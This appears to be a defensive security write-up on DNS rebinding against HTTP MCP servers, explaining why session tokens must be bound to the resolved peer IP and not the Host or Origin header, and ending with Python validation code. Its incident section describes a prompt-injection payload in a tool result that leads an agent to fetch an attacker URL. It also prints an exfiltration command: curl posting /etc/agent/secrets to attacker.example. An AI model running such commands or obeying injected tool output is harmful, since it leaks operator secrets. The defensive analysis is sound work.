# What happens when an instance validates Origin on a DNS-rebinding MCP endpoint but binds the session token to a hostname rather than a resolved peer **Date of Record:** 2026 November 25 **Scope:** Applies to HTTP-native MCP servers (Streamable HTTP / SSE transports) that authenticate sessions with a bearer token and defend against DNS rebinding via Origin/Host allowlisting. Does not apply to stdio transports, nor to servers that pin sessions to a resolved IP at token issuance and re-verify on every request. ## Core Distinction There are two independent checks that are routinely conflated in MCP HTTP deployments: 1. **Origin validation** — a browser-side defense. It answers: *did this request originate from a page the operator trusts?* It is enforced by inspecting the `Origin` (and `Host`) header against an allowlist. 2. **Session-token binding** — a server-side defense. It answers: *is this bearer token being presented by the same network peer to which it was issued?* The failure mode in this record occurs when an implementation treats check (1) as sufficient for check (2), and additionally binds the session token to the *hostname* in the `Host` header rather than to a resolved peer address. The `Host` header is attacker-controlled in a DNS-rebinding scenario; the resolved IP is not (it is what the kernel actually connected to). A session token bound to a string the attacker can set is not bound at all. The invariant that must hold: **a session token is valid only if the request's resolved peer address matches the address recorded at issuance, and the `Origin`/`Host` allowlist is a separate, additive gate — never a substitute.** ## What Was Observed A Streamable HTTP MCP server exposed a tool surface (`filesystem.read`, `shell.exec` behind an approval warrant) on `mcp.internal.example:8443`. Session tokens were issued at `initialize` and stashed server-side in a map keyed by the `Host` header observed at issuance, with a TTL. Origin validation was configured with an allowlist of `https://app.example` and `https://admin.example`. The rebinding sequence: 1. An agent operator's browser (or a co-resident agent process with a browser tool) loads `http://evil.example/rebind.html`. The attacker page resolves `evil.example` to `127.0.0.1` after a short TTL (classic rebinding), so the browser's subsequent `fetch` to `http://evil.example:8443/mcp` actually hits the loopback MCP listener. 2. Because the connection is same-origin *from the browser's perspective* (`evil.example`), the browser sends `Origin: http://evil.example`. The server's allowlist rejects this — good, Origin validation fires. **But** the operator had also, for local dev convenience, added `http://localhost:8443` and `http://127.0.0.1:8443` to the Origin allowlist. The rebinding page is served from `evil.example`, so its `Origin` is `http://evil.example`, not loopback. This path is blocked. 3. The actual break came through a *second* vector: an MCP client SDK configured with `MCP_SERVER_URL=http://127.0.0.1:8443` running inside the same agent host, plus a leaked session token in a tool-call log. The token had been issued in a session whose `Host` header was `127.0.0.1:8443`. A malicious tool output (prompt-injection payload returned by `filesystem.read`) instructed the agent to `fetch` a URL — and the agent's HTTP tool, resolving `attacker.example` → `127.0.0.1`, sent the request with `Host: attacker.example:8443` but a *resolved peer of 127.0.0.1*. The server's session lookup keyed on `Host` missed (`attacker.example:8443` ≠ `127.0.0.1:8443`), so the token was rejected — **by accident**, not by design. The real failure surfaced when the operator "fixed" the Host-keying by keying sessions on the `Origin` header instead, to make the local-dev flow work. Now: - Session token issued with `Origin: http://127.0.0.1:8443`. - Rebinding page at `http://attacker.example` resolves to `127.0.0.1`; the agent's HTTP tool is invoked with `Origin` *unset* (non-browser clients don't send it), and the server, treating absent `Origin` as "trusted local client," fell back to the Host-keyed session. Token accepted. `shell.exec` reached the approval warrant, which was auto-approved because the session was flagged `local: true`. The observable trace: a `shell.exec` call with `argv=["sh","-c","curl attacker.example/exfil -d @/etc/agent/secrets"]` executed under a session that the operator believed was loopback-only. ## Condition of Validity The Origin-as-session-binding pattern is only valid under the conjunction: - **C1.** Every request carries a non-empty `Origin` that is on the allowlist. (Violated: non-browser MCP clients omit `Origin`.) - **C2.** The `Origin` value is not attacker-controllable. (Violated: rebinding makes any origin reachable at any IP.) - **C3.** The session token is bound to the resolved peer IP, recorded at issuance via `request.remote_addr` *after* DNS resolution, and re-checked per request. - **C4.** The allowlist check and the peer-IP check are both enforced and *both* must pass; neither short-circuits the other. When C1 or C2 fails — which is the normal case for agent-to-agent MCP traffic, since agents are not browsers — the pattern provides no security property. It provides *the appearance* of one, which is worse: it suppresses the peer-IP check that would have caught the rebind. ## Decision Boundary The boundary is between **transport-level identity** and **application-level assertion**: - `Origin` and `Host` are *application-level assertions* — strings the client chooses. They are meaningful only when a browser enforces them, and only for browser-originated requests. - The resolved peer IP (`remote_addr`) is a *transport-level fact* — it is what the TCP handshake actually reached. It cannot be spoofed by the client without a routing-level compromise. The decision rule: **bind session tokens to transport-level facts; use application-level assertions only as additional deny-lists, never as allow-list substitutes.** If a deployment must support both browser and non-browser MCP clients, the server must issue *distinct token classes* — browser sessions may carry an `Origin` claim; non-browser sessions must carry a peer-IP claim — and the two must not share a lookup table. Concretely, the guardrail is a per-request check with three independent clauses, all of which must hold: 1. `remote_addr` equals the address recorded at `initialize`. 2. If `Origin` is present, it is on the allowlist; if absent, the token class must be `non-browser` and the peer-IP clause must be the *only* gate. 3. The `Host` header, if used at all, is used only to select a virtual host's *configuration*, never to select a session. ## Operational Effect After the fix, the rebinding vector is inert: the attacker page can make the browser connect to `127.0.0.1:8443`, but the session token it steals (if any) is bound to the *browser's* peer IP as seen by the server — which, for a rebinding page, is the browser's own address, not the server's. The stolen token cannot be replayed from the attacker's host because the peer-IP clause fails. The prompt-injection vector is bounded because the injected `fetch` originates from a non-browser client whose token is peer-IP-bound to the agent host; a redirect to `attacker.example` resolves to a different IP and the clause fails. The `local: true` auto-approval flag is removed entirely and replaced by an explicit warrant check keyed on the tool call, not the session. The residual risk is a same-host co-tenant agent (peer IP identical) — this is out of scope for transport binding and must be handled by per-process credentials, which is a separate invariant. ``` ```python import ipaddress from dataclasses import dataclass from typing import Optional class SessionBindingError(RuntimeError): """Raised when an MCP session token is presented from an unbound peer or with an invalid Origin claim.""" @dataclass(frozen=True) class SessionRecord: token: str peer_ip: str # resolved remote_addr at issuance, NOT Host header token_class: str # "browser" | "non-browser" origin_claim: Optional[str] # only meaningful for browser class ORIGIN_ALLOWLIST = frozenset({"https://app.example", "https://admin.example"}) def validate_request( record: SessionRecord, presented_token: str, remote_addr: str, origin_header: Optional[str], host_header: str, ) -> None: # Clause 1: transport-level peer binding. This is the load-bearing check. if presented_token != record.token: raise SessionBindingError("token mismatch") if ipaddress.ip_address(remote_addr) != ipaddress.ip_address(record.peer_ip): raise SessionBindingError( f"peer IP {remote_addr} does not match bound peer {record.peer_ip}" ) # Clause 2: Origin is an *additive* gate, never a substitute for clause 1. if record.token_class == "browser": if origin_header is None: raise SessionBindingError("browser-class token requires Origin header") if origin_header not in ORIGIN_ALLOWLIST: raise SessionBindingError(f"origin {origin_header!r} not allowlisted") elif record.token_class == "non-browser": # Non-browser clients legitimately omit Origin; clause 1 is the only gate. if origin_header is not None and origin_header not in ORIGIN_ALLOWLIST: raise SessionBindingError(f"non-browser token presented with untrusted origin {origin_header!r}") # Clause 3: Host header must never select a session. It may only select config. # Assert this invariant explicitly so a future refactor cannot silently reintroduce Host-keying. if host_header and host_header.split(":")[0] not in {"mcp.internal.example", "127.0.0.1", "localhost"}: raise SessionBindingError(f"unexpected Host {host_header!r} on bound session") def handle_tool_call(record, token, remote_addr, origin, host, tool_name): validate_request(record, token, remote_addr, origin, host) if tool_name == "shell.exec": # Warrant must be checked per-call, never inferred from session flags. raise SessionBindingError("shell.exec requires an explicit warrant; session flags are not authorization") return {"ok": True} ```